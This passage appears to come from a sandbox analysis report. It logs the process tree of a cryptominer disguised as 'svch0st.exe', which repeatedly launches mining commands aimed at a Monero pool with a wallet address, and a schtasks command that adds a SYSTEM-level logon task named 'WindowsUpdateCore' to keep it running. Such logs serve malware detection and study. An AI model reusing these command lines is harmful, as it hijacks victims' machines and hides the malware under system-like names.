        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        46⤵
        
        PID:6944
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        47⤵
        
        PID:7048
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        48⤵
        
        PID:7144
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        49⤵
        
        PID:6764
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        50⤵
        
        PID:7240
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        51⤵
        
        PID:7352
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        52⤵
        
        PID:7448
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        53⤵
        
        PID:7564
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        54⤵
        
        PID:7668
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        55⤵
        
        PID:7772
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        56⤵
        
        PID:7876
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        57⤵
        
        PID:7968
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        58⤵
        
        PID:8092
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        59⤵
        
        PID:7252
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        60⤵
        
        PID:7324
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        61⤵
        
        PID:8280
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        62⤵
        
        PID:8376
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        63⤵
        
        PID:8480
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        64⤵
        
        PID:8608
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        65⤵
        
        PID:8724
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        66⤵
        
        PID:8828
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        67⤵
        
        PID:8960
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        68⤵
        
        PID:9088
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        69⤵
        
        PID:9192
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        70⤵
        
        PID:3256
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        71⤵
        
        PID:5104
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        72⤵
        
        PID:2988
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        73⤵
        
        PID:9244
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        74⤵
        
        PID:9324
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        75⤵
        
        PID:9428
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        76⤵
        
        PID:9540
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        77⤵
        
        PID:9636
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        78⤵
        
        PID:9748
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        79⤵
        
        PID:9872
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        80⤵
        
        PID:9960
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        81⤵
        
        PID:10092
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        82⤵
        
        PID:10212
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        83⤵
        
        PID:10264
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        84⤵
        
        PID:10368
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        85⤵
        
        PID:10452
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        86⤵
        
        PID:10548
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        87⤵
        
        PID:10652
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        88⤵
        
        PID:10760
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        89⤵
        
        PID:10864
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        90⤵
        
        PID:10968
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        91⤵
        
        PID:11100
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        92⤵
        
        PID:11204
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        93⤵
        
        PID:10700
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        94⤵
        
        PID:11312
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        95⤵
        
        PID:11424
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        96⤵
        
        PID:11532
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        97⤵
        
        PID:11660
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        98⤵
        
        PID:11752
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /tn WindowsUpdateCore /tr "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" /sc onlogon /ru SYSTEM /f /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3448

C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4244
- C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3900
- - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2204
    - - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1380
      - C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3428
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2428
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        8⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3904
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        9⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5132
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        10⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5244
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        11⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5356
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        12⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5468
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
